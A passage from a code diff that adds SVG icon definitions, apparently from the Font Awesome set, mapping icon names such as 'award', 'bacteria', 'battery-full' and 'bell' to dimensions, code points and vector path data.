1,0,34.50782,5.375,37.88283,11.5C388.6593,167.25,384.7843,184.75,369.65538,208.25Z"], + "audio-description": [512, 512, [], "f29e", "M162.925 238.709l8.822 30.655h-25.606l9.041-30.652c1.277-4.421 2.651-9.994 3.872-15.245 1.22 5.251 2.594 10.823 3.871 15.242zm166.474-32.099h-14.523v98.781h14.523c29.776 0 46.175-17.678 46.175-49.776 0-32.239-17.49-49.005-46.175-49.005zM512 112v288c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48zM245.459 336.139l-57.097-168A12.001 12.001 0 0 0 177 160h-35.894a12.001 12.001 0 0 0-11.362 8.139l-57.097 168C70.003 343.922 75.789 352 84.009 352h29.133a12 12 0 0 0 11.535-8.693l8.574-29.906h51.367l8.793 29.977A12 12 0 0 0 204.926 352h29.172c8.22 0 14.006-8.078 11.361-15.861zm184.701-80.525c0-58.977-37.919-95.614-98.96-95.614h-57.366c-6.627 0-12 5.373-12 12v168c0 6.627 5.373 12 12 12H331.2c61.041 0 98.96-36.933 98.96-96.386z"], + "award": [384, 512, [], "f559", "M97.12 362.63c-8.69-8.69-4.16-6.24-25.12-11.85-9.51-2.55-17.87-7.45-25.43-13.32L1.2 448.7c-4.39 10.77 3.81 22.47 15.43 22.03l52.69-2.01L105.56 507c8 8.44 22.04 5.81 26.43-4.96l52.05-127.62c-10.84 6.04-22.87 9.58-35.31 9.58-19.5 0-37.82-7.59-51.61-21.37zM382.8 448.7l-45.37-111.24c-7.56 5.88-15.92 10.77-25.43 13.32-21.07 5.64-16.45 3.18-25.12 11.85-13.79 13.78-32.12 21.37-51.62 21.37-12.44 0-24.47-3.55-35.31-9.58L252 502.04c4.39 10.77 18.44 13.4 26.43 4.96l36.25-38.28 52.69 2.01c11.62.44 19.82-11.27 15.43-22.03zM263 340c15.28-15.55 17.03-14.21 38.79-20.14 13.89-3.79 24.75-14.84 28.47-28.98 7.48-28.4 5.54-24.97 25.95-45.75 10.17-10.35 14.14-25.44 10.42-39.58-7.47-28.38-7.48-24.42 0-52.83 3.72-14.14-.25-29.23-10.42-39.58-20.41-20.78-18.47-17.36-25.95-45.75-3.72-14.14-14.58-25.19-28.47-28.98-27.88-7.61-24.52-5.62-44.95-26.41-10.17-10.35-25-14.4-38.89-10.61-27.87 7.6-23.98 7.61-51.9 0-13.89-3.79-28.72.25-38.89 10.61-20.41 20.78-17.05 18.8-44.94 26.41-13.89 3.79-24.75 14.84-28.47 28.98-7.47 28.39-5.54 24.97-25.95 45.75-10.17 10.35-14.15 25.44-10.42 39.58 7.47 28.36 7.48 24.4 0 52.82-3.72 14.14.25 29.23 10.42 39.59 20.41 20.78 18.47 17.35 25.95 45.75 3.72 14.14 14.58 25.19 28.47 28.98C104.6 325.96 106.27 325 121 340c13.23 13.47 33.84 15.88 49.74 5.82a39.676 39.676 0 0 1 42.53 0c15.89 10.06 36.5 7.65 49.73-5.82zM97.66 175.96c0-53.03 42.24-96.02 94.34-96.02s94.34 42.99 94.34 96.02-42.24 96.02-94.34 96.02-94.34-42.99-94.34-96.02z"], + "baby": [384, 512, [], "f77c", "M192 160c44.2 0 80-35.8 80-80S236.2 0 192 0s-80 35.8-80 80 35.8 80 80 80zm-53.4 248.8l25.6-32-61.5-51.2L56.8 383c-11.4 14.2-11.7 34.4-.8 49l48 64c7.9 10.5 19.9 16 32 16 8.3 0 16.8-2.6 24-8 17.7-13.2 21.2-38.3 8-56l-29.4-39.2zm142.7-83.2l-61.5 51.2 25.6 32L216 448c-13.2 17.7-9.7 42.8 8 56 7.2 5.4 15.6 8 24 8 12.2 0 24.2-5.5 32-16l48-64c10.9-14.6 10.6-34.8-.8-49l-45.9-57.4zM376.7 145c-12.7-18.1-37.6-22.4-55.7-9.8l-40.6 28.5c-52.7 37-124.2 37-176.8 0L63 135.3C44.9 122.6 20 127 7.3 145-5.4 163.1-1 188 17 200.7l40.6 28.5c17 11.9 35.4 20.9 54.4 27.9V288h160v-30.8c19-7 37.4-16 54.4-27.9l40.6-28.5c18.1-12.8 22.4-37.7 9.7-55.8z"], + "baby-carriage": [512, 512, [], "f77d", "M144.8 17c-11.3-17.8-37.2-22.8-54-9.4C35.3 51.9 0 118 0 192h256L144.8 17zM496 96h-48c-35.3 0-64 28.7-64 64v64H0c0 50.6 23 96.4 60.3 130.7C25.7 363.6 0 394.7 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-8.9-1.8-17.2-4.4-25.2 21.6 5.9 44.6 9.2 68.4 9.2s46.9-3.3 68.4-9.2c-2.7 8-4.4 16.3-4.4 25.2 0 44.2 35.8 80 80 80s80-35.8 80-80c0-37.3-25.7-68.4-60.3-77.3C425 320.4 448 274.6 448 224v-64h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM80 464c-17.6 0-32-14.4-32-32s14.4-32 32-32 32 14.4 32 32-14.4 32-32 32zm320-32c0 17.6-14.4 32-32 32s-32-14.4-32-32 14.4-32 32-32 32 14.4 32 32z"], + "backspace": [640, 512, [], "f55a", "M576 64H205.26A63.97 63.97 0 0 0 160 82.75L9.37 233.37c-12.5 12.5-12.5 32.76 0 45.25L160 429.25c12 12 28.28 18.75 45.25 18.75H576c35.35 0 64-28.65 64-64V128c0-35.35-28.65-64-64-64zm-84.69 254.06c6.25 6.25 6.25 16.38 0 22.63l-22.62 22.62c-6.25 6.25-16.38 6.25-22.63 0L384 301.25l-62.06 62.06c-6.25 6.25-16.38 6.25-22.63 0l-22.62-22.62c-6.25-6.25-6.25-16.38 0-22.63L338.75 256l-62.06-62.06c-6.25-6.25-6.25-16.38 0-22.63l22.62-22.62c6.25-6.25 16.38-6.25 22.63 0L384 210.75l62.06-62.06c6.25-6.25 16.38-6.25 22.63 0l22.62 22.62c6.25 6.25 6.25 16.38 0 22.63L429.25 256l62.06 62.06z"], + "backward": [512, 512, [], "f04a", "M11.5 280.6l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2zm256 0l192 160c20.6 17.2 52.5 2.8 52.5-24.6V96c0-27.4-31.9-41.8-52.5-24.6l-192 160c-15.3 12.8-15.3 36.4 0 49.2z"], + "bacon": [576, 512, [], "f7e5", "M218.92 336.39c34.89-34.89 44.2-59.7 54.05-86 10.61-28.29 21.59-57.54 61.37-97.34s69.05-50.77 97.35-61.38c23.88-9 46.64-17.68 76.79-45.37L470.81 8.91a31 31 0 0 0-40.18-2.83c-13.64 10.1-25.15 14.39-41 20.3C247 79.52 209.26 191.29 200.65 214.1c-29.75 78.83-89.55 94.68-98.72 98.09-24.86 9.26-54.73 20.38-91.07 50.36C-3 374-3.63 395 9.07 407.61l35.76 35.51C80 410.52 107 400.15 133 390.39c26.27-9.84 51.06-19.12 85.92-54zm348-232l-35.75-35.51c-35.19 32.63-62.18 43-88.25 52.79-26.26 9.85-51.06 19.16-85.95 54s-44.19 59.69-54 86C292.33 290 281.34 319.22 241.55 359s-69 50.73-97.3 61.32c-23.86 9-46.61 17.66-76.72 45.33l37.68 37.43a31 31 0 0 0 40.18 2.82c13.6-10.06 25.09-14.34 40.94-20.24 142.2-53 180-164.1 188.94-187.69C405 219.18 464.8 203.3 474 199.86c24.87-9.27 54.74-20.4 91.11-50.41 13.89-11.4 14.52-32.45 1.82-45.05z"], + "bacteria": [640, 512, [], "e059", "M272.35,226.4A17.71,17.71,0,0,0,281.46,203l-4-9.08a121.29,121.29,0,0,1,12.36-3.08A83.34,83.34,0,0,0,323.57,177l10,9a17.76,17.76,0,1,0,23.92-26.27l-9.72-8.76a83.12,83.12,0,0,0,11.65-48.18l11.85-3.51a17.73,17.73,0,1,0-10.15-34l-11.34,3.36a84,84,0,0,0-36.38-35.57l2.84-10.85a17.8,17.8,0,0,0-34.47-8.93l-2.82,10.78a83.25,83.25,0,0,0-16.74,1.1C250.83,27,240,30.22,229.1,33.39l-3.38-9.46a17.8,17.8,0,0,0-33.56,11.89l3.49,9.8a286.74,286.74,0,0,0-43.94,23.57l-6.32-8.43a17.9,17.9,0,0,0-24.94-3.6A17.69,17.69,0,0,0,116.84,82l6.45,8.61a286.59,286.59,0,0,0-34.95,35.33l-8.82-6.42a17.84,17.84,0,0,0-24.89,3.86,17.66,17.66,0,0,0,3.88,24.77l8.88,6.47a286.6,286.6,0,0,0-23,43.91l-10.48-3.59a17.73,17.73,0,1,0-11.59,33.52L32.67,232c-2.79,10-5.79,19.84-7.52,30.22a83.16,83.16,0,0,0-.82,19l-11.58,3.43a17.73,17.73,0,1,0,10.13,34l11.27-3.33a83.51,83.51,0,0,0,36.39,35.43l-2.88,11.06a17.81,17.81,0,0,0,34.48,8.92l2.87-11c1,0,2.07.26,3.1.26a83.39,83.39,0,0,0,45.65-13.88l8.59,8.8a17.77,17.77,0,0,0,25.56-24.7l-9.14-9.37a83.41,83.41,0,0,0,12.08-31.05,119.08,119.08,0,0,1,3.87-15.53l9,4.22a17.74,17.74,0,1,0,15.15-32.09l-8.8-4.11c.67-1,1.2-2.08,1.9-3.05a119.89,119.89,0,0,1,7.87-9.41,121.73,121.73,0,0,1,11.65-11.4,119.49,119.49,0,0,1,9.94-7.82c1.12-.77,2.32-1.42,3.47-2.15l3.92,8.85a17.86,17.86,0,0,0,16.32,10.58A18.14,18.14,0,0,0,272.35,226.4ZM128,256a32,32,0,1,1,32-32A32,32,0,0,1,128,256Zm80-96a16,16,0,1,1,16-16A16,16,0,0,1,208,160Zm431.26,45.3a17.79,17.79,0,0,0-17.06-12.69,17.55,17.55,0,0,0-5.08.74l-11.27,3.33a83.61,83.61,0,0,0-36.39-35.43l2.88-11.06a17.81,17.81,0,0,0-34.48-8.91l-2.87,11c-1,0-2.07-.26-3.1-.26a83.32,83.32,0,0,0-45.65,13.89l-8.59-8.81a17.77,17.77,0,0,0-25.56,24.7l9.14,9.37a83.28,83.28,0,0,0-12.08,31.06,119.34,119.34,0,0,1-3.87,15.52l-9-4.22a17.74,17.74,0,1,0-15.15,32.09l8.8,4.11c-.67,1-1.2,2.08-1.89,3.05a117.71,117.71,0,0,1-7.94,9.47,119,119,0,0,1-11.57,11.33,121.59,121.59,0,0,1-10,7.83c-1.12.77-2.32,1.42-3.47,2.15l-3.92-8.85a17.86,17.86,0,0,0-16.32-10.58,18.14,18.14,0,0,0-7.18,1.5A17.71,17.71,0,0,0,358.54,309l4,9.08a118.71,118.71,0,0,1-12.36,3.08,83.34,83.34,0,0,0-33.77,13.9l-10-9a17.77,17.77,0,1,0-23.92,26.28l9.72,8.75a83.12,83.12,0,0,0-11.65,48.18l-11.86,3.51a17.73,17.73,0,1,0,10.16,34l11.34-3.36A84,84,0,0,0,326.61,479l-2.84,10.85a17.8,17.8,0,0,0,34.47,8.93L361.06,488a83.3,83.3,0,0,0,16.74-1.1c11.37-1.89,22.24-5.07,33.1-8.24l3.38,9.46a17.8,17.8,0,0,0,33.56-11.89l-3.49-9.79a287.66,287.66,0,0,0,43.94-23.58l6.32,8.43a17.88,17.88,0,0,0,24.93,3.6A17.67,17.67,0,0,0,523.16,430l-6.45-8.61a287.37,287.37,0,0,0,34.95-35.34l8.82,6.42a17.76,17.76,0,1,0,21-28.63l-8.88-6.46a287.17,287.17,0,0,0,23-43.92l10.48,3.59a17.73,17.73,0,1,0,11.59-33.52L607.33,280c2.79-10,5.79-19.84,7.52-30.21a83.27,83.27,0,0,0,.82-19.05l11.58-3.43A17.7,17.7,0,0,0,639.26,205.3ZM416,416a32,32,0,1,1,32-32A32,32,0,0,1,416,416Z"], + "bacterium": [512, 512, [], "e05a", "M511,102.93A23.76,23.76,0,0,0,481.47,87l-15.12,4.48a111.85,111.85,0,0,0-48.5-47.42l3.79-14.47a23.74,23.74,0,0,0-46-11.91l-3.76,14.37a111.94,111.94,0,0,0-22.33,1.47,386.74,386.74,0,0,0-44.33,10.41l-4.3-12a23.74,23.74,0,0,0-44.75,15.85l4.3,12.05a383.4,383.4,0,0,0-58.69,31.83l-8-10.63a23.85,23.85,0,0,0-33.24-4.8,23.57,23.57,0,0,0-4.83,33.09l8,10.63a386.14,386.14,0,0,0-46.7,47.44l-11-8a23.68,23.68,0,1,0-28,38.17l11.09,8.06a383.45,383.45,0,0,0-30.92,58.75l-12.93-4.43a23.65,23.65,0,1,0-15.47,44.69l13,4.48a385.81,385.81,0,0,0-9.3,40.53A111.58,111.58,0,0,0,32.44,375L17,379.56a23.64,23.64,0,0,0,13.51,45.31l15-4.44a111.49,111.49,0,0,0,48.53,47.24l-3.85,14.75a23.66,23.66,0,0,0,17,28.83,24.7,24.7,0,0,0,6,.75,23.73,23.73,0,0,0,23-17.7L140,479.67c1.37.05,2.77.35,4.13.35A111.22,111.22,0,0,0,205,461.5l11.45,11.74a23.7,23.7,0,0,0,34.08-32.93l-12.19-12.5a111,111,0,0,0,16.11-41.4,158.69,158.69,0,0,1,5.16-20.71l12,5.64a23.66,23.66,0,1,0,20.19-42.79l-11.72-5.49c.89-1.32,1.59-2.77,2.52-4.06a157.86,157.86,0,0,1,10.46-12.49,159.5,159.5,0,0,1,15.59-15.28,162.18,162.18,0,0,1,13.23-10.4c1.5-1,3.1-1.89,4.63-2.87l5.23,11.8a23.74,23.74,0,0,0,43.48-19.08l-5.36-12.11a158.87,158.87,0,0,1,16.49-4.1,111,111,0,0,0,45-18.54l13.33,12a23.69,23.69,0,1,0,31.88-35l-12.94-11.67A110.83,110.83,0,0,0,479.21,137L495,132.32A23.61,23.61,0,0,0,511,102.93ZM160,368a48,48,0,1,1,48-48A48,48,0,0,1,160,368Zm80-136a24,24,0,1,1,24-24A24,24,0,0,1,240,232Z"], + "bahai": [512, 512, [], "f666", "M496.25 202.52l-110-15.44 41.82-104.34c6.67-16.64-11.6-32.18-26.59-22.63L307.44 120 273.35 12.82C270.64 4.27 263.32 0 256 0c-7.32 0-14.64 4.27-17.35 12.82l-34.09 107.19-94.04-59.89c-14.99-9.55-33.25 5.99-26.59 22.63l41.82 104.34-110 15.43c-17.54 2.46-21.68 26.27-6.03 34.67l98.16 52.66-74.48 83.54c-10.92 12.25-1.72 30.93 13.29 30.93 1.31 0 2.67-.14 4.07-.45l108.57-23.65-4.11 112.55c-.43 11.65 8.87 19.22 18.41 19.22 5.15 0 10.39-2.21 14.2-7.18l68.18-88.9 68.18 88.9c3.81 4.97 9.04 7.18 14.2 7.18 9.54 0 18.84-7.57 18.41-19.22l-4.11-112.55 108.57 23.65c17.36 3.76 29.21-17.2 17.35-30.49l-74.48-83.54 98.16-52.66c15.64-8.39 11.5-32.2-6.04-34.66zM338.51 311.68l-51.89-11.3 1.97 53.79L256 311.68l-32.59 42.49 1.96-53.79-51.89 11.3 35.6-39.93-46.92-25.17 52.57-7.38-19.99-49.87 44.95 28.62L256 166.72l16.29 51.23 44.95-28.62-19.99 49.87 52.57 7.38-46.92 25.17 35.61 39.93z"], + "balance-scale": [640, 512, [], "f24e", "M256 336h-.02c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0C-2.06 328.75.02 320.33.02 336H0c0 44.18 57.31 80 128 80s128-35.82 128-80zM128 176l72 144H56l72-144zm511.98 160c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 320l72-144 72 144H440zm88 128H352V153.25c23.51-10.29 41.16-31.48 46.39-57.25H528c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H383.64C369.04 12.68 346.09 0 320 0s-49.04 12.68-63.64 32H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h129.61c5.23 25.76 22.87 46.96 46.39 57.25V448H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"], + "balance-scale-left": [640, 512, [], "f515", "M528 448H352V153.25c20.42-8.94 36.1-26.22 43.38-47.47l132-44.26c8.38-2.81 12.89-11.88 10.08-20.26l-10.17-30.34C524.48 2.54 515.41-1.97 507.03.84L389.11 40.37C375.3 16.36 349.69 0 320 0c-44.18 0-80 35.82-80 80 0 3.43.59 6.71 1.01 10.03l-128.39 43.05c-8.38 2.81-12.89 11.88-10.08 20.26l10.17 30.34c2.81 8.38 11.88 12.89 20.26 10.08l142.05-47.63c4.07 2.77 8.43 5.12 12.99 7.12V496c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16v-32c-.01-8.84-7.17-16-16.01-16zm111.98-144c0-16.18 1.34-8.73-85.05-181.51-17.65-35.29-68.19-35.36-85.87 0-87.12 174.26-85.04 165.84-85.04 181.51H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02zM440 288l72-144 72 144H440zm-269.07-37.51c-17.65-35.29-68.19-35.36-85.87 0C-2.06 424.75.02 416.33.02 432H0c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-16.18 1.34-8.73-85.05-181.51zM56 416l72-144 72 144H56z"], + "balance-scale-right": [640, 512, [], "f516", "M96 464v32c0 8.84 7.16 16 16 16h224c8.84 0 16-7.16 16-16V153.25c4.56-2 8.92-4.35 12.99-7.12l142.05 47.63c8.38 2.81 17.45-1.71 20.26-10.08l10.17-30.34c2.81-8.38-1.71-17.45-10.08-20.26l-128.4-43.05c.42-3.32 1.01-6.6 1.01-10.03 0-44.18-35.82-80-80-80-29.69 0-55.3 16.36-69.11 40.37L132.96.83c-8.38-2.81-17.45 1.71-20.26 10.08l-10.17 30.34c-2.81 8.38 1.71 17.45 10.08 20.26l132 44.26c7.28 21.25 22.96 38.54 43.38 47.47V448H112c-8.84 0-16 7.16-16 16zM0 304c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0C-1.32 295.27.02 287.82.02 304H0zm56-16l72-144 72 144H56zm328.02 144H384c0 44.18 57.31 80 128 80s128-35.82 128-80h-.02c0-15.67 2.08-7.25-85.05-181.51-17.68-35.36-68.22-35.29-85.87 0-86.38 172.78-85.04 165.33-85.04 181.51zM440 416l72-144 72 144H440z"], + "ban": [512, 512, [], "f05e", "M256 8C119.034 8 8 119.033 8 256s111.034 248 248 248 248-111.034 248-248S392.967 8 256 8zm130.108 117.892c65.448 65.448 70 165.481 20.677 235.637L150.47 105.216c70.204-49.356 170.226-44.735 235.638 20.676zM125.892 386.108c-65.448-65.448-70-165.481-20.677-235.637L361.53 406.784c-70.203 49.356-170.226 44.736-235.638-20.676z"], + "band-aid": [640, 512, [], "f462", "M0 160v192c0 35.3 28.7 64 64 64h96V96H64c-35.3 0-64 28.7-64 64zm576-64h-96v320h96c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64zM192 416h256V96H192v320zm176-232c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm0 96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24z"], + "barcode": [512, 512, [], "f02a", "M0 448V64h18v384H0zm26.857-.273V64H36v383.727h-9.143zm27.143 0V64h8.857v383.727H54zm44.857 0V64h8.857v383.727h-8.857zm36 0V64h17.714v383.727h-17.714zm44.857 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm18 0V64h8.857v383.727h-8.857zm35.715 0V64h18v383.727h-18zm44.857 0V64h18v383.727h-18zm35.999 0V64h18.001v383.727h-18.001zm36.001 0V64h18.001v383.727h-18.001zm26.857 0V64h18v383.727h-18zm45.143 0V64h26.857v383.727h-26.857zm35.714 0V64h9.143v383.727H476zm18 .273V64h18v384h-18z"], + "bars": [448, 512, [], "f0c9", "M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z"], + "baseball-ball": [496, 512, [], "f433", "M368.5 363.9l28.8-13.9c11.1 22.9 26 43.2 44.1 60.9 34-42.5 54.5-96.3 54.5-154.9 0-58.5-20.4-112.2-54.2-154.6-17.8 17.3-32.6 37.1-43.6 59.5l-28.7-14.1c12.8-26 30-49 50.8-69C375.6 34.7 315 8 248 8 181.1 8 120.5 34.6 75.9 77.7c20.7 19.9 37.9 42.9 50.7 68.8l-28.7 14.1c-11-22.3-25.7-42.1-43.5-59.4C20.4 143.7 0 197.4 0 256c0 58.6 20.4 112.3 54.4 154.7 18.2-17.7 33.2-38 44.3-61l28.8 13.9c-12.9 26.7-30.3 50.3-51.5 70.7 44.5 43.1 105.1 69.7 172 69.7 66.8 0 127.3-26.5 171.9-69.5-21.1-20.4-38.5-43.9-51.4-70.6zm-228.3-32l-30.5-9.8c14.9-46.4 12.7-93.8-.6-134l30.4-10c15 45.6 18 99.9.7 153.8zm216.3-153.4l30.4 10c-13.2 40.1-15.5 87.5-.6 134l-30.5 9.8c-17.3-54-14.3-108.3.7-153.8z"], + "basketball-ball": [496, 512, [], "f434", "M212.3 10.3c-43.8 6.3-86.2 24.1-122.2 53.8l77.4 77.4c27.8-35.8 43.3-81.2 44.8-131.2zM248 222L405.9 64.1c-42.4-35-93.6-53.5-145.5-56.1-1.2 63.9-21.5 122.3-58.7 167.7L248 222zM56.1 98.1c-29.7 36-47.5 78.4-53.8 122.2 50-1.5 95.5-17 131.2-44.8L56.1 98.1zm272.2 204.2c45.3-37.1 103.7-57.4 167.7-58.7-2.6-51.9-21.1-103.1-56.1-145.5L282 256l46.3 46.3zM248 290L90.1 447.9c42.4 34.9 93.6 53.5 145.5 56.1 1.3-64 21.6-122.4 58.7-167.7L248 290zm191.9 123.9c29.7-36 47.5-78.4 53.8-122.2-50.1 1.6-95.5 17.1-131.2 44.8l77.4 77.4zM167.7 209.7C122.3 246.9 63.9 267.3 0 268.4c2.6 51.9 21.1 103.1 56.1 145.5L214 256l-46.3-46.3zm116 292c43.8-6.3 86.2-24.1 122.2-53.8l-77.4-77.4c-27.7 35.7-43.2 81.2-44.8 131.2z"], + "bath": [512, 512, [], "f2cd", "M32,384a95.4,95.4,0,0,0,32,71.09V496a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V480H384v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V455.09A95.4,95.4,0,0,0,480,384V336H32ZM496,256H80V69.25a21.26,21.26,0,0,1,36.28-15l19.27,19.26c-13.13,29.88-7.61,59.11,8.62,79.73l-.17.17A16,16,0,0,0,144,176l11.31,11.31a16,16,0,0,0,22.63,0L283.31,81.94a16,16,0,0,0,0-22.63L272,48a16,16,0,0,0-22.62,0l-.17.17c-20.62-16.23-49.83-21.75-79.73-8.62L150.22,20.28A69.25,69.25,0,0,0,32,69.25V256H16A16,16,0,0,0,0,272v16a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V272A16,16,0,0,0,496,256Z"], + "battery-empty": [640, 512, [], "f244", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48z"], + "battery-full": [640, 512, [], "f240", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-48 96H96v128h416V192z"], + "battery-half": [640, 512, [], "f242", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-240 96H96v128h224V192z"], + "battery-quarter": [640, 512, [], "f243", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-336 96H96v128h128V192z"], + "battery-three-quarters": [640, 512, [], "f241", "M544 160v64h32v64h-32v64H64V160h480m16-64H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h512c26.51 0 48-21.49 48-48v-16h8c13.255 0 24-10.745 24-24V184c0-13.255-10.745-24-24-24h-8v-16c0-26.51-21.49-48-48-48zm-144 96H96v128h320V192z"], + "bed": [640, 512, [], "f236", "M176 256c44.11 0 80-35.89 80-80s-35.89-80-80-80-80 35.89-80 80 35.89 80 80 80zm352-128H304c-8.84 0-16 7.16-16 16v144H64V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v352c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h512v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V240c0-61.86-50.14-112-112-112z"], + "beer": [448, 512, [], "f0fc", "M368 96h-48V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24v-42.11l80.606-35.977C429.396 365.063 448 336.388 448 304.86V176c0-44.112-35.888-80-80-80zm16 208.86a16.018 16.018 0 0 1-9.479 14.611L320 343.805V160h48c8.822 0 16 7.178 16 16v128.86zM208 384c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16zm-96 0c-8.836 0-16-7.164-16-16V144c0-8.836 7.164-16 16-16s16 7.164 16 16v224c0 8.836-7.164 16-16 16z"], + "bell": [448, 512, [], "f0f3", "M224 512c35.32 0 63.97-28.65 63.97-64H160.03c0 35.35 28.65 64 63.97 64zm215.39-149.71c-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84C118.56 68.1 64.08 130.3 64.08 208c0 102.3-36.15 133.53-55.47 154.29-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h383.8c19.12 0 32-15.6 32.1-32 .05-7.55-2.61-15.27-8.61-21.71z"], + "bell-slash": [640, 512, [], "f1f6", "M633.82 458.1l-90.62-70.05c.19-1.38.8-2.66.8-4.06.05-7.55-2.61-15.27-8.61-21.71-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-40.33 8.38-74.66 31.07-97.59 62.57L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.35 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.42-6.97 4.17-17.02-2.81-22.45zM157.23 251.54c-8.61 67.96-36.41 93.33-52.62 110.75-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h241.92L157.23 251.54zM320 512c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z"], + "bezier-curve": [640, 512, [], "f55b", "M368 32h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM208 88h-84.75C113.75 64.56 90.84 48 64 48 28.66 48 0 76.65 0 112s28.66 64 64 64c26.84 0 49.75-16.56 59.25-40h79.73c-55.37 32.52-95.86 87.32-109.54 152h49.4c11.3-41.61 36.77-77.21 71.04-101.56-3.7-8.08-5.88-16.99-5.88-26.44V88zm-48 232H64c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zM576 48c-26.84 0-49.75 16.56-59.25 40H432v72c0 9.45-2.19 18.36-5.88 26.44 34.27 24.35 59.74 59.95 71.04 101.56h49.4c-13.68-64.68-54.17-119.48-109.54-152h79.73c9.5 23.44 32.41 40 59.25 40 35.34 0 64-28.65 64-64s-28.66-64-64-64zm0 272h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z"], + "bible": [448, 512, [], "f647", "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM144 144c0-8.84 7.16-16 16-16h48V80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v48h48c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-48v112c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V192h-48c-8.84 0-16-7.16-16-16v-32zm236.8 304H96c-19.2 